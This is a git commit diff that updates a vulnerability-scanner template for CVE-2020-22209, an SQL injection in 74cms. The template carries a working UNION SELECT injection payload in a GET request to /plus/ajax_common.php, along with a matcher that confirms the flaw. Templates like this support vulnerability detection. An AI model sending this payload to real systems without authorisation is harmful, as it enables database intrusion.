Update CVE-2020-22209.yaml

patch-1
Ritik Chaddha 2022-06-30 08:20:26 +05:30 committed by GitHub
parent 231601b9d3
commit c0faa97f93
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 2 deletions

View File

@ -19,15 +19,18 @@ info:
shodan-query: http.html:"74cms"
tags: cve,cve2020,74cms,sqli
variables:
num: "999999999"
requests:
- method: GET
path:
- '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5("{{randstr}}"),3%23%27'
- '{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,md5({{num}}),3%23%27'
matchers:
- type: word
part: body
words:
- '{{md5("{{randstr}}")}}'
- '{{md5({{num}})}}'
# Enhanced by cs on 2022/06/21